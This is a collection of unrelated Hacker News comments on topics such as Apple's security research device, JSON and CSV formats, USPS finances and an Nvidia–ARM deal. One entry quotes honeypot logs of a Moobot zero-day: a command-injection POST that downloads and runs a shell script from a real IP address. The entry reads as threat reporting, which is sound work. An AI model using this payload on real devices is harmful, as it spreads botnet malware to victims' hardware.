skysight-inc/HackerNews huggingface dataset:
That is if people obey the NDA of course. I'm sure not everyone will do so.

However finding a bug, reporting it and then 'suddenly' a jailbreak appearing that would use it, would be highly suspicious indeed. So they'd probably have to give up the chance of getting the bug bounty.

PS: I'm certainly not signing that NDA myself :)
Probably not Microsoft or Blackberry, but in a society oriented in a more worker-friendly direction there would have been better outcomes in terms of freedoms than what Apple has produced.
I agree, but I think there are non-technical people who would happily buy a cheap iPhone on Craigslist or Facebook and enter in all their iCloud or banking info without rebooting or looking at warnings.
I think it's perfectly ok that if I save and work that my kids will have a leg up on my peers' kids who don't do the same.

Don't we want, as a society, to encourage parents to do these things for their kids? Isn't that a net win for society as a whole?

The alternative would require a near 100% estate/death tax, wouldn't it?
I didn't see that till you pointed it out. "Think Different"
Unknown zero-day used by Moobot (DDoS malware)
Source IP: 93.174.93.139
Country: Netherlands
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Payload: POST /tools.cgi HTTP/1.1
POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A"
Target Port: 8080
Bad Packets® Tags: Unknown Zero-Day
Date First Seen: 2020-07-22T15:47:02Z
Date Last Seen: 2020-07-22T15:47:02Z
Event Count: 1

Source IP: 93.174.93.139
Country: Netherlands
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Payload: POST /tools.cgi HTTP/1.1
POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A"
Target Port: 80
Bad Packets® Tags: Unknown Zero-Day
Date First Seen: 2020-07-22T12:15:16Z
Date Last Seen: 2020-07-22T15:32:57Z
Event Count: 23
Windows Store is not 30%, it's 15% or 5% depending on whether the user used the Windows Store search or a link from the developer's website.
WiFi AR - look at Wi-Fi signal level & link speed in AR-mode
If it has a gravitational influence on other planets, then yes, same way as the discovery of Neptune.

https://en.wikipedia.org/wiki/Discovery_of_Neptune

Now, 300 AU is far away, but then, 14 times the mass of jupiter is heavy. But I'm not knowledged enough to do the math here.

On a 2nd thought, maybe not. How long would a year be for a planet that far outside? Maybe several hundred years? We'd need to be in the right window of time to spectate such effects in first place.
You literally just pointed out the causation that is the lack of ability to build generational wealth stemming from historical racism.
Source code is important intellectual property and trade secret.

In general it is simply good practice to only make this sort of information available to employees who need it to carry out their jobs. It is not a problem because there is usually no reason to study the code of another product/module/team/whatever, and if there is a reason then access can be granted, and is granted.

If your side needs to interact with another team's code and you cannot see their source code it at least forces everyone to have properly documented APIs.
There is a (conditional) proof that nlogn is optimal: https://arxiv.org/abs/1902.10935
Also, Lego has a history of having produced SPECIFIC military vehicles.

https://www.lego.com/en-us/product/sopwith-camel-10226
https://brickset.com/sets/10024-1/Red-Baron
Hey Keyan!

Sort of off-topic, but I just tried your chore chart -- what does '2X' mean? How can something get assigned to me twice?

Cheers.
Show HN: Relearning basic machine learning in Python
Selling, which is the biggest skill you need to have, is clearly missing. Which explains a lot of your frustations.

I strongly suggest you read Way of the Wolf by Jordan Belfort. Best sales book there is. Go buy it right now.

Read it amd email me when you are done.
https://github.com/facebookarchive/pfff where it was named “sgrep”. pfff is maintained by @aryx who was the original author and is a Facebook alum, see https://github.com/returntocorp/pfff for the official fork
> Hacker News readers are a pretty biased sample of people

That's a vacuous statement. Is anyone working at Apple or benefiting from Apple's monopolies any less biased? The essential question is rather if such behavior is fundamentally anti competitive and contrary to the spirit of the law.

Why was Microsoft's installing Internet Explorer on their own OS a cardinal sin worthy of punishment, while Apple is getting away with behavior far worse than Microsoft's, yet it goes unpunished, so they get encouraged to behave even worse. I guess it's all about proper lobbying nowadays.
Forget about yelp and ranking and rating. Ithink the folks realize there is not a single US website that lists all the graduate schools and the courses details. We are talking about solving the next step of the problem when basic aggregation is missing.
Has potential for optimization.
> That said, most companies just deal with that risk

They actually don't, sadly. Most companies limit the risk using non-competes.

It's very hard to secure code. If someone wants to steal it, they can usually figure it out.

It's much easier to limit their legal ability to profit from stolen code. Most companies don't have IP that's very valuable on the black market. If you stole Zoom's compression algo, for example, it would be hard to profit without openly starting a new company and violating your non-compete.
The Code is the Design and the design uncovers good or bad written code. GoF design patterns were modeled after well written code. Anti-patterns (the swiss army knife is my favorite) are bad written code.
I don't know if the author is on HN (also not sure what difference this makes) but a payout of $100k made the news recently for https://bhavukjain.com/blog/2020/05/30/zeroday-signin-with-a...

A few days later another researcher reported earning $75k for webcam access vulnerabilities: https://www.ryanpickren.com/webcam-hacking

These payments are not uncommon.
Craig specifically said that this wasn't going to happen, in one of the podcasts he said people came up to him internally and said "Wait. There's still Terminal, right?" and he said "Yeah, it's a Mac.". The Platforms State of the Union host also said that they had made contact with a bunch of open-source projects with assistance (and in some cases, iirc the OpenJDK and CPython, pull requests) on moving to ARM.
you don't know it's a federal crime for anyone but usps to do letter service. you don't know a company was shut down by the feds for trying. you don't know the whole argument people have been debating now and for the last 150 years is to allow private companies to handle letters.

so you looked it up, saw you were wrong, and changed your argument to 'parcel service' = 'letter service.'

you were given examples of why people want letter service from private companies, and how urban citizens pay for rural letter costs.

your argument at that point us 'you don't pay for it, the money to cover costs comes from a magic place, but if you do, quickthrowman has determined it's worth it, so case closed.'

thank you for the entertainment.
Mincss: “Clears the junk out of your CSS”
PG has posted on HN before that the bar for intelligence to be successful as a startup is not very high. He was specifically responding to someone who was doubting whether they were smart enough, and his response was "if you're reading this then you're likely smart enough". I think the premise being that if you're already on HN and reading about these topics you've met the bar.
100%. It's just modern virtue signaling outrage.

No one pressed them to cancel these sets when released?
How many kids bought these and decided to go out and attack people with Bi-Planes?

https://www.lego.com/en-us/product/sopwith-camel-10226
https://brickset.com/sets/10024-1/Red-Baron
There has not been a free tier of GSuite since 2011. It is a commercial service that has a monthly cost per seat. There are 6 million users on GSuite for Business and 120 million on GSuite for Education. None of the grandfathered free Google Apps for Domains users are included in those numbers.
> This new method will be marginally faster if you ever need to multiply two numbers on a scale where writing down the bits fills every plank-length cube in the known universe.

If we're talking about physical implementations then you would also have to take the delay between those planck volumes into account
nice work. How do you keep it udpated?
You've posted almost this same exact comment 6 times already for this submission. I appreciate wanting to make a point, but the shotgun spam approach is just annoying for other users.
Incredible opportunity for the US to consolidate its tech dominance further. I expect both China and the EU to try to block Nvidia from acquiring ARM.

Nvidia's stock is comically overvalued like most things in this market (~74 times operating income). They should hand SoftBank 16% of their very inflated market cap in an all-share deal, if they'd go for it (I'm guessing SoftBank will want a lot of cash though, given their financial desperation right now).

In terms of partisan positions, this would at least be far better than Intel or Qualcomm eating ARM. It's just hard to imagine China or the EU being ok with Nvidia extending their current quasi-monopoly position in GPUs into another critical monopoly position. China won't want to see ARM in US hands under any scenario; the EU for its part would tolerate that only if those US hands are not someone like Nvidia, Intel, Apple, Google, Microsoft, Amazon, etc.
That’s how I feel about all of this Javascript stuff after coming from Rails. You mean I have to do [insert basically anything] all on my own, from scratch? But Rails gave me all of that out of the box!
I meant resolve as in "determine what it is," like, how big would the letters have to be on the moon in order for you to read them.
Practice isn't enough. Deliberate practice that pushes your boundaries with feedback is the critical part. That's much easier to get in a school, or a professional environment if you have a good mentor, which constantly pressures you to go deeper into the field and try new things than solo practice. Working on your own it's tempting to reach a level of comfort and not go further, or to reach a point where your skill level seems "good enough".
>Single-molecule visualization of DNA G-quadruplex formation in live cells

https://www.nature.com/articles/s41557-020-0506-4
My only problem with json files is that you can't add comments to them in a persistent way (especially if changes in the data are written by a program).

Unless of course you'd put the comments in the data itself, but that's kind of ugly.
Apple gives me a locked box, I complain that I can't open it. You're saying that I shouldn't because some people have figured out how to pick the specific lock they're using, even though Apple doesn't want to people to do that and their next lock is not pickable using that technique anymore. Oh, and the pickable locks will be obsolete in a few years. Do you see the problem?
Will it have moment.js as dependency like react-dates?

Do you also plan to make a DateRangePicker and a TimePicker?
Using Tailwind UI with a drag and drop editor
CSV generation and parsing is inconsistent based on tooling (see inevitable space/comma/quote problems, for example), while JSON has a strict enough spec that you can unambiguously use it in the same way for CSV-like data as long as nobody needs to literally edit it directly in Excel.
Mostly because you have or anticipate having git-specific needs other than backups, like having a central collaboration point as part of your git workflows. You can use gitern like a backup service, but that is a subset of what is intended.

(I don't use that rsync service so I'm just guessing as to how you use it. If you can provide more context, I might be able to help further.)

At the moment, the feature set around git workflows is not more than just providing authorized access for several users to a git repo itself but I'll be providing more features around this soon in a way that improves on what currently exists on git hosts.
Include _____-as-a-service. Then sum it up as the Uber of whatever and you can laugh your way to the bank.
Replying to myself to correct my comment: the pension benefits funding appears to be in general - and differently from what I stated - not much different to the private sector.

The change introduced by the 2006 PAEA impacts however the funding of health care benefits of retirees, which have to be funded at 100%. This is not required of private sector companies.

Additionally, to build up this future retiree health benefits fund, a very front loaded schedule of about $5.7B yearly between 2006 and 2016 was chosen. In fact, the USPS was not able to fulfill this schedule and defaulted on multiple payments.

Best source I have found: https://fas.org/sgp/crs/misc/R40983.pdf
About age of 20 I suddenly became unable to pee in urinals. Can't pee in aircraft toilets either or anywhere I feel like I'm under scrutiny in some way. I've endured what felt to me like severe physical pain on long haul travel. I can't persuade my subconscious to let me pee even though I really want to.
No idea why this happened to me, having previously had no problems whatsoever. The only thing that I can think of was getting a gay approach at about that age but I can't say that was the cause of it though I think it might have been.
A Fascinating Overview of the Rezoning and Preservation of Charleston,SC (2015)
Famously dropbox was ridiculed on HN
> Of course not. Because you know the context and have made your own decision to excuse his slave holding and treason when deciding whether he should be celebrated with giant statues. Which is your call to make, I guess.

Ignoring the ad hominem, the context I had was the fact Lee was a confederate general and the article you linked. I approached it with skepticism, eg this is a nebulous and unverifiable claim. You it approached it assuming an uncharitable interpretation.

>But the point is that not everyone knows that context. And for those who don't, this advertisement, which is designed to affect public policy, is prima facie misleading because it presents two facts that are (at best) subjects of controversy.

This is only prima facie misleading if you ascribe to a specific interpretation and the facts challenge this this interpretation. You are starting backwards with a subjective opinion and then defining facts that do not lead to the same conclusion, as problematic. However, you will allow them if they are accompanied by enough additional facts for the reader to come to the same subjective interpretations as you.

My entire point is that if we want to control misinformation, limiting the presentation of "incomplete" fact patterns is a step too far.

>Imagine a Facebook story with "The constitution gives you no right to own an assault rifle". Equally true, by your standards. Not really acceptable though, right?

I have no problem with this. It looks like the title to 100 other garbage opinion pieces.

>And Facebook wasn't labeling considered interpretations. It was labeling something that looked like a fact.

Then it should be more careful to discern between verifiable facts and statements that look like facts.
CSV is so unnecessary - ASCII has built in delimiters for fields outside of the printable characters.
It is standard for Medicare to pay roughly three times more for a patient with a respiratory condition who goes on a ventilator than for one who does not.

There is much more financial incentive to test positive, from a hospitals standpoint, in a poor area.
> But hypothetically the App Store review process is vulnerable to a bad actor inside Apple pushing an update to a big app that included malware.

I don’t think this is technically possible.
Data can both be accurate and biased...

Who's footing the bill is relevant to the later
> JSON is one of the best things to ever happen to software development

Indeed, especially when compared to XML
Ha ha, you'd get a squiggly line under that "ti" in your title!

I messed around with the idea of a "syntax highlighter for writers" a long time ago. https://www.mrspeaker.net/2012/03/24/syntax-highlighting-for... - Grammar highlighting didn't seem that interesting in the end though. Here's a "demo" of it: https://www.mrspeaker.net/dev/syntx/

Maybe smarter highlighting would be more useful.
Games consoles platform owners controlling access to their platforms to third party software predate the internet by decades. There is nothing whatever new about the model of commercially licensing access to a platform to software vendors, it’s almost as old as the consumer computer industry.
Who is honestly going to buy this highly sought-after iPhone, backdoor it and flip it for a discount on Craigslist in an attempt to what, hack a random person? And you can just prevent that by doing something simple like disabling the App Store…
It seems like YC has grown large and successful enough that it can shed some monetary value for the sake of greater social benefit. It has zero effect on me if they grant 25k, 50k, 100k, 200k to groups. My argument and position is not that participating companies shouldn't receive more money. That I don't care about at all. My concern is that it's being expressed that YC should be acting in accordance to perceived social justice rather than as what it is and always has been, a startup incubator. The argument is that an amount of money like 25k is equivocal to YC practicing racial exclusivity because it's not enough money to cover the needs, expenses, and risk calculations of a financially and socially impaired person. In that case, what amount of seed money is not considered to fall under the practice of racial exclusivity? I think the accusation is flimsy in the first place, and no defined amount of money would allay those kinds of allegations.
> You just need to be approved for this specific program.

Since not just anyone can be approved, I don't think I"d consider that "anyone".

I mean, I guess technically "anyone" can learn to become a security researcher and spend years building up a "proven track record of success in finding security issues on Apple platforms, or other modern operating systems and platforms", but that's not generally how I think of the term "anyone". ;)
I disagree. I'd be completely find with a $1bn financial tag with it. That's not going to be $1bn for a year but spread over something like 5-10 years. If this is a strategic technology, it is highly beneficial for the government to invest in it. They'll make the money back once the technology becomes widespread.

And I mean, look at the last paragraph

> ... the NSF that would be given $100 billion over five years to invest in American research and technology issues, including quantum computing.

Which seems low when you consider that we spent $430 bn on the F35 and lifetime expected cost is 1.5tn for more acquisition and maintenance. Governments work with larger amounts of money and when you look at science (arguably the best way to get ahead in military) it is pennies (CERN was funded internationally and only cost around $20bn over 10 years and $1bn/yr for operation). I mean the largest super computers cost only a couple hundred million, which means if Google or Facebook wanted to, they could compete.
Isn't that the entire model of commercial VST plugins?
2 Questions totally unrelated to your comment, but related to bottomless:
1) Do you ship to Canada?
2) How much weight can that scale hold?

I have a grinder with a built in (sealed) hopper where I store my beans. I assume from the setup, the grinder would have to sit on it for ease of use.
Exactly! I would say that many other common rules follow the feasibility of images. For example it is easy to test if a post is doxxing, contains swear words, ect.
Also: streaming
No worse than putting data in comments. The CDDB format was notorious for putting track length and some other details in comments, and a fully supported parser then had to be smart enough to extract data from them
A recent video talking about what it could take to get high resolution imagery of exoplanets. The video title is a bit hand wavy, but it basically involves using the sun as a gravitational lens:

https://www.youtube.com/watch?v=NQFqDKRAROI
Coronavirus Infections Far Higher Than Confirmed but Most Americans Not Exposed
Asians aren't very represented in corporate leadership.

https://hbr.org/2018/05/asian-americans-are-the-least-likely...
There are parents with ample incomes and large comfortable homes that will accept their children back with some disappointment and disapproval for taking large risks and failing.

There are parents with little extra cash and homes without space for permanent guests who will welcome their child with open arms, proud of them for risking everything on a start up and encouraging them to try again.
Ubisoft says it won’t charge more for PS5 and Xbox Series X games this fall
> no new version of the JSON specification is ever expected to be written.

T̵h̵e̵ ̵l̵a̵t̵e̵s̵t̵ ̵v̵e̵r̵s̵i̵o̵n̵ ̵o̵f̵ ̵J̵S̵O̵N̵ ̵w̵a̵s̵ ̵a̵p̵p̵a̵r̵e̵n̵t̵l̵y̵ ̵r̵e̵l̵e̵a̵s̵e̵d̵ ̵l̵e̵s̵s̵ ̵t̵h̵a̵n̵ ̵a̵ ̵y̵e̵a̵r̵ ̵a̵g̵o̵.̵ [EDIT: I was mistaken: the latest standard was RFC 8259. However, this was still published on 2017-12-13, after the article was written.] There have been three different RFCs alone, all defining JSON. (And let’s not even get into the thing called JSON5.)
What do you by convenient?

There is an extremely good response to how to design this in Rust on the SO post. This doesn't change the way that you should design the rest of the code.

The convenience that Rust gives you in this context is strong ownership (i.e. can limit access to the Global except in very desirable patterns) and data-race free with compile time checks around mutability.

The standard library has all of these options available, additionally there are a bunch of libraries from the ecosystem that make it even easier.
This reads like some conspiracy Nonsense, he can at any point be relived of his duties, also, the agency is not Tegnell, there is a lot of good people working there that would step up if needed.
You might like JSON5 (https://json5.org), which allows comments and has direct support in various tooling.
A scam that requires an individually targeted bespoke device that nets tens or hundreds of thousands (how does that even work? how would the proceeds be exfiltrated untraceably?) is just a really expensive way to have a very short career as a scammer.
Thanks, I didn't know that. Good to hear!
I agree with the first sentence, but disabling the app store would greatly hamper security research, since you can't debug third party apps.
ER staff are paid a lot more, are sometimes even in a union, and also get the benefit of helping people and seeing the effect of their help.
United States v. John C. Gilmore. the supreme court determined it was illegal, and the people providing letter service, which was cheaper than usps, were arrested.
What you say is statistically true. Having lived in both Western Europe and two US states I would say there is something missing in that you need more money in the US to have a similar lifestyle on an emotional level.

It’s really hard to explain and I guess having to be experienced.

I think this has not always been true, and is part of the reason why we are seeing discontent in the US right now. Life for middle class used to be a lot more comfortable.
There will be a terminal, and virtual machines, and kernel extensions. It's pretty much a "full" macOS experience to all but the most serious users.